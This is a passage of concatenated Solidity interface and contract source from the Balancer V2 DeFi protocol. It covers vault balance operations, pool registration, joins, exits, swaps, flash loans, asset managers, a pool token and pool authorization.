`sender`. The sender must have allowed the Vault to use their tokens via `IERC20.approve()`. // // ETH can be used by passing the ETH sentinel value as the asset and forwarding ETH in the call: it will be wrapped // and deposited as WETH. Any ETH amount remaining will be sent back to the caller (not the sender, which is // relevant for relayers). // // Emits an `InternalBalanceChanged` event. // // // - WITHDRAW_INTERNAL // Decreases the Internal Balance of the `sender` account by transferring tokens to the `recipient`. // // ETH can be used by passing the ETH sentinel value as the asset. This will deduct WETH instead, unwrap it and send // it to the recipient as ETH. // // Emits an `InternalBalanceChanged` event. // // // - TRANSFER_INTERNAL // Transfers tokens from the Internal Balance of the `sender` account to the Internal Balance of `recipient`. // // Reverts if the ETH sentinel value is passed. // // Emits an `InternalBalanceChanged` event. // // // - TRANSFER_EXTERNAL // Transfers tokens from `sender` to `recipient`, using the Vault's ERC20 allowance. This is typically used by // relayers, as it lets them reuse a user's Vault allowance. // // Reverts if the ETH sentinel value is passed. // // Emits an `ExternalBalanceTransfer` event. enum UserBalanceOpKind { DEPOSIT_INTERNAL, WITHDRAW_INTERNAL, TRANSFER_INTERNAL, TRANSFER_EXTERNAL } /** * @dev Emitted when a user's Internal Balance changes, either from calls to `manageUserBalance`, or through * interacting with Pools using Internal Balance. * * Because Internal Balance works exclusively with ERC20 tokens, ETH deposits and withdrawals will use the WETH * address. */ event InternalBalanceChanged(address indexed user, IERC20 indexed token, int256 delta); /** * @dev Emitted when a user's Vault ERC20 allowance is used by the Vault to transfer tokens to an external account. */ event ExternalBalanceTransfer(IERC20 indexed token, address indexed sender, address recipient, uint256 amount); // Pools // // There are three specialization settings for Pools, which allow for cheaper swaps at the cost of reduced // functionality: // // - General: no specialization, suited for all Pools. IGeneralPool is used for swap request callbacks, passing the // balance of all tokens in the Pool. These Pools have the largest swap costs (because of the extra storage reads), // which increase with the number of registered tokens. // // - Minimal Swap Info: IMinimalSwapInfoPool is used instead of IGeneralPool, which saves gas by only passing the // balance of the two tokens involved in the swap. This is suitable for some pricing algorithms, like the weighted // constant product one popularized by Balancer V1. Swap costs are smaller compared to general Pools, and are // independent of the number of registered tokens. // // - Two Token: only allows two tokens to be registered. This achieves the lowest possible swap gas cost. Like // minimal swap info Pools, these are called via IMinimalSwapInfoPool. enum PoolSpecialization { GENERAL, MINIMAL_SWAP_INFO, TWO_TOKEN } /** * @dev Registers the caller account as a Pool with a given specialization setting. Returns the Pool's ID, which * is used in all Pool-related functions. Pools cannot be deregistered, nor can the Pool's specialization be * changed. * * The caller is expected to be a smart contract that implements either `IGeneralPool` or `IMinimalSwapInfoPool`, * depending on the chosen specialization setting. This contract is known as the Pool's contract. * * Note that the same contract may register itself as multiple Pools with unique Pool IDs, or in other words, * multiple Pools may share the same contract. * * Emits a `PoolRegistered` event. */ function registerPool(PoolSpecialization specialization) external returns (bytes32); /** * @dev Emitted when a Pool is registered by calling `registerPool`. */ event PoolRegistered(bytes32 indexed poolId, address indexed poolAddress, PoolSpecialization specialization); /** * @dev Returns a Pool's contract address and specialization setting. */ function getPool(bytes32 poolId) external view returns (address, PoolSpecialization); /** * @dev Registers `tokens` for the `poolId` Pool. Must be called by the Pool's contract. * * Pools can only interact with tokens they have registered. Users join a Pool by transferring registered tokens, * exit by receiving registered tokens, and can only swap registered tokens. * * Each token can only be registered once. For Pools with the Two Token specialization, `tokens` must have a length * of two, that is, both tokens must be registered in the same `registerTokens` call, and they must be sorted in * ascending order. * * The `tokens` and `assetManagers` arrays must have the same length, and each entry in these indicates the Asset * Manager for the corresponding token. Asset Managers can manage a Pool's tokens via `managePoolBalance`, * depositing and withdrawing them directly, and can even set their balance to arbitrary amounts. They are therefore * expected to be highly secured smart contracts with sound design principles, and the decision to register an * Asset Manager should not be made lightly. * * Pools can choose not to assign an Asset Manager to a given token by passing in the zero address. Once an Asset * Manager is set, it cannot be changed except by deregistering the associated token and registering again with a * different Asset Manager. * * Emits a `TokensRegistered` event. */ function registerTokens( bytes32 poolId, IERC20[] memory tokens, address[] memory assetManagers ) external; /** * @dev Emitted when a Pool registers tokens by calling `registerTokens`. */ event TokensRegistered(bytes32 indexed poolId, IERC20[] tokens, address[] assetManagers); /** * @dev Deregisters `tokens` for the `poolId` Pool. Must be called by the Pool's contract. * * Only registered tokens (via `registerTokens`) can be deregistered. Additionally, they must have zero total * balance. For Pools with the Two Token specialization, `tokens` must have a length of two, that is, both tokens * must be deregistered in the same `deregisterTokens` call. * * A deregistered token can be re-registered later on, possibly with a different Asset Manager. * * Emits a `TokensDeregistered` event. */ function deregisterTokens(bytes32 poolId, IERC20[] memory tokens) external; /** * @dev Emitted when a Pool deregisters tokens by calling `deregisterTokens`. */ event TokensDeregistered(bytes32 indexed poolId, IERC20[] tokens); /** * @dev Returns detailed information for a Pool's registered token. * * `cash` is the number of tokens the Vault currently holds for the Pool. `managed` is the number of tokens * withdrawn and held outside the Vault by the Pool's token Asset Manager. The Pool's total balance for `token` * equals the sum of `cash` and `managed`. * * Internally, `cash` and `managed` are stored using 112 bits. No action can ever cause a Pool's token `cash`, * `managed` or `total` balance to be greater than 2^112 - 1. * * `lastChangeBlock` is the number of the block in which `token`'s total balance was last modified (via either a * join, exit, swap, or Asset Manager update). This value is useful to avoid so-called 'sandwich attacks', for * example when developing price oracles. A change of zero (e.g. caused by a swap with amount zero) is considered a * change for this purpose, and will update `lastChangeBlock`. * * `assetManager` is the Pool's token Asset Manager. */ function getPoolTokenInfo(bytes32 poolId, IERC20 token) external view returns ( uint256 cash, uint256 managed, uint256 lastChangeBlock, address assetManager ); /** * @dev Returns a Pool's registered tokens, the total balance for each, and the latest block when *any* of * the tokens' `balances` changed. * * The order of the `tokens` array is the same order that will be used in `joinPool`, `exitPool`, as well as in all * Pool hooks (where applicable). Calls to `registerTokens` and `deregisterTokens` may change this order. * * If a Pool only registers tokens once, and these are sorted in ascending order, they will be stored in the same * order as passed to `registerTokens`. * * Total balances include both tokens held by the Vault and those withdrawn by the Pool's Asset Managers. These are * the amounts used by joins, exits and swaps. For a detailed breakdown of token balances, use `getPoolTokenInfo` * instead. */ function getPoolTokens(bytes32 poolId) external view returns ( IERC20[] memory tokens, uint256[] memory balances, uint256 lastChangeBlock ); /** * @dev Called by users to join a Pool, which transfers tokens from `sender` into the Pool's balance. This will * trigger custom Pool behavior, which will typically grant something in return to `recipient` - often tokenized * Pool shares. * * If the caller is not `sender`, it must be an authorized relayer for them. * * The `assets` and `maxAmountsIn` arrays must have the same length, and each entry indicates the maximum amount * to send for each asset. The amounts to send are decided by the Pool and not the Vault: it just enforces * these maximums. * * If joining a Pool that holds WETH, it is possible to send ETH directly: the Vault will do the wrapping. To enable * this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead of the * WETH address. Note that it is not possible to combine ETH and WETH in the same join. Any excess ETH will be sent * back to the caller (not the sender, which is important for relayers). * * `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when * interacting with Pools that register and deregister tokens frequently. If sending ETH however, the array must be * sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the final * `assets` array might not be sorted. Pools with no registered tokens cannot be joined. * * If `fromInternalBalance` is true, the caller's Internal Balance will be preferred: ERC20 transfers will only * be made for the difference between the requested amount and Internal Balance (if any). Note that ETH cannot be * withdrawn from Internal Balance: attempting to do so will trigger a revert. * * This causes the Vault to call the `IBasePool.onJoinPool` hook on the Pool's contract, where Pools implement * their own custom logic. This typically requires additional information from the user (such as the expected number * of Pool shares). This can be encoded in the `userData` argument, which is ignored by the Vault and passed * directly to the Pool's contract, as is `recipient`. * * Emits a `PoolBalanceChanged` event. */ function joinPool( bytes32 poolId, address sender, address recipient, JoinPoolRequest memory request ) external payable; struct JoinPoolRequest { IAsset[] assets; uint256[] maxAmountsIn; bytes userData; bool fromInternalBalance; } /** * @dev Called by users to exit a Pool, which transfers tokens from the Pool's balance to `recipient`. This will * trigger custom Pool behavior, which will typically ask for something in return from `sender` - often tokenized * Pool shares. The amount of tokens that can be withdrawn is limited by the Pool's `cash` balance (see * `getPoolTokenInfo`). * * If the caller is not `sender`, it must be an authorized relayer for them. * * The `tokens` and `minAmountsOut` arrays must have the same length, and each entry in these indicates the minimum * token amount to receive for each token contract. The amounts to send are decided by the Pool and not the Vault: * it just enforces these minimums. * * If exiting a Pool that holds WETH, it is possible to receive ETH directly: the Vault will do the unwrapping. To * enable this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead * of the WETH address. Note that it is not possible to combine ETH and WETH in the same exit. * * `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when * interacting with Pools that register and deregister tokens frequently. If receiving ETH however, the array must * be sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the * final `assets` array might not be sorted. Pools with no registered tokens cannot be exited. * * If `toInternalBalance` is true, the tokens will be deposited to `recipient`'s Internal Balance. Otherwise, * an ERC20 transfer will be performed. Note that ETH cannot be deposited to Internal Balance: attempting to * do so will trigger a revert. * * `minAmountsOut` is the minimum amount of tokens the user expects to get out of the Pool, for each token in the * `tokens` array. This array must match the Pool's registered tokens. * * This causes the Vault to call the `IBasePool.onExitPool` hook on the Pool's contract, where Pools implement * their own custom logic. This typically requires additional information from the user (such as the expected number * of Pool shares to return). This can be encoded in the `userData` argument, which is ignored by the Vault and * passed directly to the Pool's contract. * * Emits a `PoolBalanceChanged` event. */ function exitPool( bytes32 poolId, address sender, address payable recipient, ExitPoolRequest memory request ) external; struct ExitPoolRequest { IAsset[] assets; uint256[] minAmountsOut; bytes userData; bool toInternalBalance; } /** * @dev Emitted when a user joins or exits a Pool by calling `joinPool` or `exitPool`, respectively. */ event PoolBalanceChanged( bytes32 indexed poolId, address indexed liquidityProvider, IERC20[] tokens, int256[] deltas, uint256[] protocolFeeAmounts ); enum PoolBalanceChangeKind { JOIN, EXIT } // Swaps // // Users can swap tokens with Pools by calling the `swap` and `batchSwap` functions. To do this, // they need not trust Pool contracts in any way: all security checks are made by the Vault. They must however be // aware of the Pools' pricing algorithms in order to estimate the prices Pools will quote. // // The `swap` function executes a single swap, while `batchSwap` can perform multiple swaps in sequence. // In each individual swap, tokens of one kind are sent from the sender to the Pool (this is the 'token in'), // and tokens of another kind are sent from the Pool to the recipient in exchange (this is the 'token out'). // More complex swaps, such as one token in to multiple tokens out can be achieved by batching together // individual swaps. // // There are two swap kinds: // - 'given in' swaps, where the amount of tokens in (sent to the Pool) is known, and the Pool determines (via the // `onSwap` hook) the amount of tokens out (to send to the recipient). // - 'given out' swaps, where the amount of tokens out (received from the Pool) is known, and the Pool determines // (via the `onSwap` hook) the amount of tokens in (to receive from the sender). // // Additionally, it is possible to chain swaps using a placeholder input amount, which the Vault replaces with // the calculated output of the previous swap. If the previous swap was 'given in', this will be the calculated // tokenOut amount. If the previous swap was 'given out', it will use the calculated tokenIn amount. These extended // swaps are known as 'multihop' swaps, since they 'hop' through a number of intermediate tokens before arriving at // the final intended token. // // In all cases, tokens are only transferred in and out of the Vault (or withdrawn from and deposited into Internal // Balance) after all individual swaps have been completed, and the net token balance change computed. This makes // certain swap patterns, such as multihops, or swaps that interact with the same token pair in multiple Pools, cost // much less gas than they would otherwise. // // It also means that under certain conditions it is possible to perform arbitrage by swapping with multiple // Pools in a way that results in net token movement out of the Vault (profit), with no tokens being sent in (only // updating the Pool's internal accounting). // // To protect users from front-running or the market changing rapidly, they supply a list of 'limits' for each token // involved in the swap, where either the maximum number of tokens to send (by passing a positive value) or the // minimum amount of tokens to receive (by passing a negative value) is specified. // // Additionally, a 'deadline' timestamp can also be provided, forcing the swap to fail if it occurs after // this point in time (e.g. if the transaction failed to be included in a block promptly). // // If interacting with Pools that hold WETH, it is possible to both send and receive ETH directly: the Vault will do // the wrapping and unwrapping. To enable this mechanism, the IAsset sentinel value (the zero address) must be // passed in the `assets` array instead of the WETH address. Note that it is possible to combine ETH and WETH in the // same swap. Any excess ETH will be sent back to the caller (not the sender, which is relevant for relayers). // // Finally, Internal Balance can be used when either sending or receiving tokens. enum SwapKind { GIVEN_IN, GIVEN_OUT } /** * @dev Performs a swap with a single Pool. * * If the swap is 'given in' (the number of tokens to send to the Pool is known), it returns the amount of tokens * taken from the Pool, which must be greater than or equal to `limit`. * * If the swap is 'given out' (the number of tokens to take from the Pool is known), it returns the amount of tokens * sent to the Pool, which must be less than or equal to `limit`. * * Internal Balance usage and the recipient are determined by the `funds` struct. * * Emits a `Swap` event. */ function swap( SingleSwap memory singleSwap, FundManagement memory funds, uint256 limit, uint256 deadline ) external payable returns (uint256); /** * @dev Data for a single swap executed by `swap`. `amount` is either `amountIn` or `amountOut` depending on * the `kind` value. * * `assetIn` and `assetOut` are either token addresses, or the IAsset sentinel value for ETH (the zero address). * Note that Pools never interact with ETH directly: it will be wrapped to or unwrapped from WETH by the Vault. * * The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be * used to extend swap behavior. */ struct SingleSwap { bytes32 poolId; SwapKind kind; IAsset assetIn; IAsset assetOut; uint256 amount; bytes userData; } /** * @dev Performs a series of swaps with one or multiple Pools. In each individual swap, the caller determines either * the amount of tokens sent to or received from the Pool, depending on the `kind` value. * * Returns an array with the net Vault asset balance deltas. Positive amounts represent tokens (or ETH) sent to the * Vault, and negative amounts represent tokens (or ETH) sent by the Vault. Each delta corresponds to the asset at * the same index in the `assets` array. * * Swaps are executed sequentially, in the order specified by the `swaps` array. Each array element describes a * Pool, the token to be sent to this Pool, the token to receive from it, and an amount that is either `amountIn` or * `amountOut` depending on the swap kind. * * Multihop swaps can be executed by passing an `amount` value of zero for a swap. This will cause the amount in/out * of the previous swap to be used as the amount in for the current one. In a 'given in' swap, 'tokenIn' must equal * the previous swap's `tokenOut`. For a 'given out' swap, `tokenOut` must equal the previous swap's `tokenIn`. * * The `assets` array contains the addresses of all assets involved in the swaps. These are either token addresses, * or the IAsset sentinel value for ETH (the zero address). Each entry in the `swaps` array specifies tokens in and * out by referencing an index in `assets`. Note that Pools never interact with ETH directly: it will be wrapped to * or unwrapped from WETH by the Vault. * * Internal Balance usage, sender, and recipient are determined by the `funds` struct. The `limits` array specifies * the minimum or maximum amount of each token the vault is allowed to transfer. * * `batchSwap` can be used to make a single swap, like `swap` does, but doing so requires more gas than the * equivalent `swap` call. * * Emits `Swap` events. */ function batchSwap( SwapKind kind, BatchSwapStep[] memory swaps, IAsset[] memory assets, FundManagement memory funds, int256[] memory limits, uint256 deadline ) external payable returns (int256[] memory); /** * @dev Data for each individual swap executed by `batchSwap`. The asset in and out fields are indexes into the * `assets` array passed to that function, and ETH assets are converted to WETH. * * If `amount` is zero, the multihop mechanism is used to determine the actual amount based on the amount in/out * from the previous swap, depending on the swap kind. * * The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be * used to extend swap behavior. */ struct BatchSwapStep { bytes32 poolId; uint256 assetInIndex; uint256 assetOutIndex; uint256 amount; bytes userData; } /** * @dev Emitted for each individual swap performed by `swap` or `batchSwap`. */ event Swap( bytes32 indexed poolId, IERC20 indexed tokenIn, IERC20 indexed tokenOut, uint256 amountIn, uint256 amountOut ); /** * @dev All tokens in a swap are either sent from the `sender` account to the Vault, or from the Vault to the * `recipient` account. * * If the caller is not `sender`, it must be an authorized relayer for them. * * If `fromInternalBalance` is true, the `sender`'s Internal Balance will be preferred, performing an ERC20 * transfer for the difference between the requested amount and the User's Internal Balance (if any). The `sender` * must have allowed the Vault to use their tokens via `IERC20.approve()`. This matches the behavior of * `joinPool`. * * If `toInternalBalance` is true, tokens will be deposited to `recipient`'s internal balance instead of * transferred. This matches the behavior of `exitPool`. * * Note that ETH cannot be deposited to or withdrawn from Internal Balance: attempting to do so will trigger a * revert. */ struct FundManagement { address sender; bool fromInternalBalance; address payable recipient; bool toInternalBalance; } /** * @dev Simulates a call to `batchSwap`, returning an array of Vault asset deltas. Calls to `swap` cannot be * simulated directly, but an equivalent `batchSwap` call can and will yield the exact same result. * * Each element in the array corresponds to the asset at the same index, and indicates the number of tokens (or ETH) * the Vault would take from the sender (if positive) or send to the recipient (if negative). The arguments it * receives are the same that an equivalent `batchSwap` call would receive. * * Unlike `batchSwap`, this function performs no checks on the sender or recipient field in the `funds` struct. * This makes it suitable to be called by off-chain applications via eth_call without needing to hold tokens, * approve them for the Vault, or even know a user's address. * * Note that this function is not 'view' (due to implementation details): the client code must explicitly execute * eth_call instead of eth_sendTransaction. */ function queryBatchSwap( SwapKind kind, BatchSwapStep[] memory swaps, IAsset[] memory assets, FundManagement memory funds ) external returns (int256[] memory assetDeltas); // Flash Loans /** * @dev Performs a 'flash loan', sending tokens to `recipient`, executing the `receiveFlashLoan` hook on it, * and then reverting unless the tokens plus a proportional protocol fee have been returned. * * The `tokens` and `amounts` arrays must have the same length, and each entry in these indicates the loan amount * for each token contract. `tokens` must be sorted in ascending order. * * The 'userData' field is ignored by the Vault, and forwarded as-is to `recipient` as part of the * `receiveFlashLoan` call. * * Emits `FlashLoan` events. */ function flashLoan( IFlashLoanRecipient recipient, IERC20[] memory tokens, uint256[] memory amounts, bytes memory userData ) external; /** * @dev Emitted for each individual flash loan performed by `flashLoan`. */ event FlashLoan(IFlashLoanRecipient indexed recipient, IERC20 indexed token, uint256 amount, uint256 feeAmount); // Asset Management // // Each token registered for a Pool can be assigned an Asset Manager, which is able to freely withdraw the Pool's // tokens from the Vault, deposit them, or assign arbitrary values to its `managed` balance (see // `getPoolTokenInfo`). This makes them extremely powerful and dangerous. Even if an Asset Manager only directly // controls one of the tokens in a Pool, a malicious manager could set that token's balance to manipulate the // prices of the other tokens, and then drain the Pool with swaps. The risk of using Asset Managers is therefore // not constrained to the tokens they are managing, but extends to the entire Pool's holdings. // // However, a properly designed Asset Manager smart contract can be safely used for the Pool's benefit, // for example by lending unused tokens out for interest, or using them to participate in voting protocols. // // This concept is unrelated to the IAsset interface. /** * @dev Performs a set of Pool balance operations, which may be either withdrawals, deposits or updates. * * Pool Balance management features batching, which means a single contract call can be used to perform multiple * operations of different kinds, with different Pools and tokens, at once. * * For each operation, the caller must be registered as the Asset Manager for `token` in `poolId`. */ function managePoolBalance(PoolBalanceOp[] memory ops) external; struct PoolBalanceOp { PoolBalanceOpKind kind; bytes32 poolId; IERC20 token; uint256 amount; } /** * Withdrawals decrease the Pool's cash, but increase its managed balance, leaving the total balance unchanged. * * Deposits increase the Pool's cash, but decrease its managed balance, leaving the total balance unchanged. * * Updates don't affect the Pool's cash balance, but because the managed balance changes, it does alter the total. * The external amount can be either increased or decreased by this call (i.e., reporting a gain or a loss). */ enum PoolBalanceOpKind { WITHDRAW, DEPOSIT, UPDATE } /** * @dev Emitted when a Pool's token Asset Manager alters its balance via `managePoolBalance`. */ event PoolBalanceManaged( bytes32 indexed poolId, address indexed assetManager, IERC20 indexed token, int256 cashDelta, int256 managedDelta ); // Protocol Fees // // Some operations cause the Vault to collect tokens in the form of protocol fees, which can then be withdrawn by // permissioned accounts. // // There are two kinds of protocol fees: // // - flash loan fees: charged on all flash loans, as a percentage of the amounts lent. // // - swap fees: a percentage of the fees charged by Pools when performing swaps. For a number of reasons, including // swap gas costs and interface simplicity, protocol swap fees are not charged on each individual swap. Rather, // Pools are expected to keep track of how much they have charged in swap fees, and pay any outstanding debts to the // Vault when they are joined or exited. This prevents users from joining a Pool with unpaid debt, as well as // exiting a Pool in debt without first paying their share. /** * @dev Returns the current protocol fee module. */ function getProtocolFeesCollector() external view returns (IProtocolFeesCollector); /** * @dev Safety mechanism to pause most Vault operations in the event of an emergency - typically detection of an * error in some part of the system. * * The Vault can only be paused during an initial time period, after which pausing is forever disabled. * * While the contract is paused, the following features are disabled: * - depositing and transferring internal balance * - transferring external balance (using the Vault's allowance) * - swaps * - joining Pools * - Asset Manager interactions * * Internal Balance can still be withdrawn, and Pools exited. */ function setPaused(bool paused) external; /** * @dev Returns the Vault's WETH instance. */ function WETH() external view returns (IWETH); // solhint-disable-previous-line func-name-mixedcase } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "./IVault.sol"; import "./IPoolSwapStructs.sol"; /** * @dev Interface for adding and removing liquidity that all Pool contracts should implement. Note that this is not * the complete Pool contract interface, as it is missing the swap hooks. Pool contracts should also inherit from * either IGeneralPool or IMinimalSwapInfoPool */ interface IBasePool is IPoolSwapStructs { /** * @dev Called by the Vault when a user calls `IVault.joinPool` to add liquidity to this Pool. Returns how many of * each registered token the user should provide, as well as the amount of protocol fees the Pool owes to the Vault. * The Vault will then take tokens from `sender` and add them to the Pool's balances, as well as collect * the reported amount in protocol fees, which the pool should calculate based on `protocolSwapFeePercentage`. * * Protocol fees are reported and charged on join events so that the Pool is free of debt whenever new users join. * * `sender` is the account performing the join (from which tokens will be withdrawn), and `recipient` is the account * designated to receive any benefits (typically pool shares). `balances` contains the total balances * for each token the Pool registered in the Vault, in the same order that `IVault.getPoolTokens` would return. * * `lastChangeBlock` is the last block in which *any* of the Pool's registered tokens last changed its total * balance. * * `userData` contains any pool-specific instructions needed to perform the calculations, such as the type of * join (e.g., proportional given an amount of pool shares, single-asset, multi-asset, etc.) * * Contracts implementing this function should check that the caller is indeed the Vault before performing any * state-changing operations, such as minting pool shares. */ function onJoinPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts); /** * @dev Called by the Vault when a user calls `IVault.exitPool` to remove liquidity from this Pool. Returns how many * tokens the Vault should deduct from the Pool's balances, as well as the amount of protocol fees the Pool owes * to the Vault. The Vault will then take tokens from the Pool's balances and send them to `recipient`, * as well as collect the reported amount in protocol fees, which the Pool should calculate based on * `protocolSwapFeePercentage`. * * Protocol fees are charged on exit events to guarantee that users exiting the Pool have paid their share. * * `sender` is the account performing the exit (typically the pool shareholder), and `recipient` is the account * to which the Vault will send the proceeds. `balances` contains the total token balances for each token * the Pool registered in the Vault, in the same order that `IVault.getPoolTokens` would return. * * `lastChangeBlock` is the last block in which *any* of the Pool's registered tokens last changed its total * balance. * * `userData` contains any pool-specific instructions needed to perform the calculations, such as the type of * exit (e.g., proportional given an amount of pool shares, single-asset, multi-asset, etc.) * * Contracts implementing this function should check that the caller is indeed the Vault before performing any * state-changing operations, such as burning pool shares. */ function onExitPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts); function getPoolId() external view returns (bytes32); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol"; interface IAssetManager { /** * @notice Emitted when asset manager is rebalanced */ event Rebalance(bytes32 poolId); /** * @notice Sets the config */ function setConfig(bytes32 poolId, bytes calldata config) external; /** * Note: No function to read the asset manager config is included in IAssetManager * as the signature is expected to vary between asset manager implementations */ /** * @notice Returns the asset manager's token */ function getToken() external view returns (IERC20); /** * @return the current assets under management of this asset manager */ function getAUM(bytes32 poolId) external view returns (uint256); /** * @return poolCash - The up-to-date cash balance of the pool * @return poolManaged - The up-to-date managed balance of the pool */ function getPoolBalances(bytes32 poolId) external view returns (uint256 poolCash, uint256 poolManaged); /** * @return The difference in tokens between the target investment * and the currently invested amount (i.e. the amount that can be invested) */ function maxInvestableBalance(bytes32 poolId) external view returns (int256); /** * @notice Updates the Vault on the value of the pool's investment returns */ function updateBalanceOfPool(bytes32 poolId) external; /** * @notice Determines whether the pool should rebalance given the provided balances */ function shouldRebalance(uint256 cash, uint256 managed) external view returns (bool); /** * @notice Rebalances funds between the pool and the asset manager to maintain target investment percentage. * @param poolId - the poolId of the pool to be rebalanced * @param force - a boolean representing whether a rebalance should be forced even when the pool is near balance */ function rebalance(bytes32 poolId, bool force) external; /** * @notice allows an authorized rebalancer to remove capital to facilitate large withdrawals * @param poolId - the poolId of the pool to withdraw funds back to * @param amount - the amount of tokens to withdraw back to the pool */ function capitalOut(bytes32 poolId, uint256 amount) external; } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/ERC20.sol"; import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/ERC20Permit.sol"; /** * @title Highly opinionated token implementation * @author Balancer Labs * @dev * - Includes functions to increase and decrease allowance as a workaround * for the well-known issue with `approve`: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * - Allows for 'infinite allowance', where an allowance of 0xff..ff is not * decreased by calls to transferFrom * - Lets a token holder use `transferFrom` to send their own tokens, * without first setting allowance * - Emits 'Approval' events whenever allowance is changed by `transferFrom` */ contract BalancerPoolToken is ERC20, ERC20Permit { constructor(string memory tokenName, string memory tokenSymbol) ERC20(tokenName, tokenSymbol) ERC20Permit(tokenName) { // solhint-disable-previous-line no-empty-blocks } // Overrides /** * @dev Override to allow for 'infinite allowance' and let the token owner use `transferFrom` with no self-allowance */ function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { uint256 currentAllowance = allowance(sender, msg.sender); _require(msg.sender == sender || currentAllowance >= amount, Errors.ERC20_TRANSFER_EXCEEDS_ALLOWANCE); _transfer(sender, recipient, amount); if (msg.sender != sender && currentAllowance != uint256(-1)) { // Because of the previous require, we know that if msg.sender != sender then currentAllowance >= amount _approve(sender, msg.sender, currentAllowance - amount); } return true; } /** * @dev Override to allow decreasing allowance by more than the current amount (setting it to zero) */ function decreaseAllowance(address spender, uint256 amount) public override returns (bool) { uint256 currentAllowance = allowance(msg.sender, spender); if (amount >= currentAllowance) { _approve(msg.sender, spender, 0); } else { // No risk of underflow due to if condition _approve(msg.sender, spender, currentAllowance - amount); } return true; } // Internal functions function _mintPoolTokens(address recipient, uint256 amount) internal { _mint(recipient, amount); } function _burnPoolTokens(address sender, uint256 amount) internal { _burn(sender, amount); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; import "@balancer-labs/v2-solidity-utils/contracts/helpers/Authentication.sol"; import "@balancer-labs/v2-vault/contracts/interfaces/IAuthorizer.sol"; import "./BasePool.sol"; /** * @dev Base authorization layer implementation for Pools. * * The owner account can call some of the permissioned functions - access control of the rest is delegated to the * Authorizer. Note that this owner is immutable: more sophisticated permission schemes, such as multiple ownership, * granular roles, etc., could be built on top of this by making the owner a smart contract. * * Access control of all other permissioned functions is delegated to an Authorizer. It is also possible to delegate * control of *all* permissioned functions to the Authorizer by setting the owner address to `_DELEGATE_OWNER`. */ abstract contract BasePoolAuthorization is Authentication { address private immutable _owner; address private constant _DELEGATE_OWNER = 0xBA1BA1ba1BA1bA1bA1Ba1BA1ba1BA1bA1ba1ba1B; constructor(address owner) { _owner = owner; } function getOwner() public view returns (address) { return _owner; } function getAuthorizer() external view returns (IAuthorizer) { return _getAuthorizer(); } function _canPerform(bytes32 actionId, address account) internal view override returns (bool) { if ((getOwner() != _DELEGATE_OWNER) && _isOwnerOnlyAction(actionId)) { // Only the owner can perform "owner only" actions, unless the owner is delegated. return msg.sender == getOwner(); } else { // Non-owner actions are always processed via the Authorizer, as "owner only" ones are when delegated. return _getAuthorizer().canPerform(actionId, account, address(this)); } } function _isOwnerOnlyAction(bytes32 actionId) internal view virtual returns (bool); function _getAuthorizer() internal view virtual returns (IAuthorizer); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; /** * @dev Interface for the TemporarilyPausable helper. */ interface ITemporarilyPausable { /** * @dev Emitted every time the pause state changes by `_setPaused`. */ event PausedStateChanged(bool paused); /** * @dev Returns the current paused state. */ function getPausedState() external view returns ( bool paused, uint256 pauseWindowEndTime, uint256 bufferPeriodEndTime ); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import 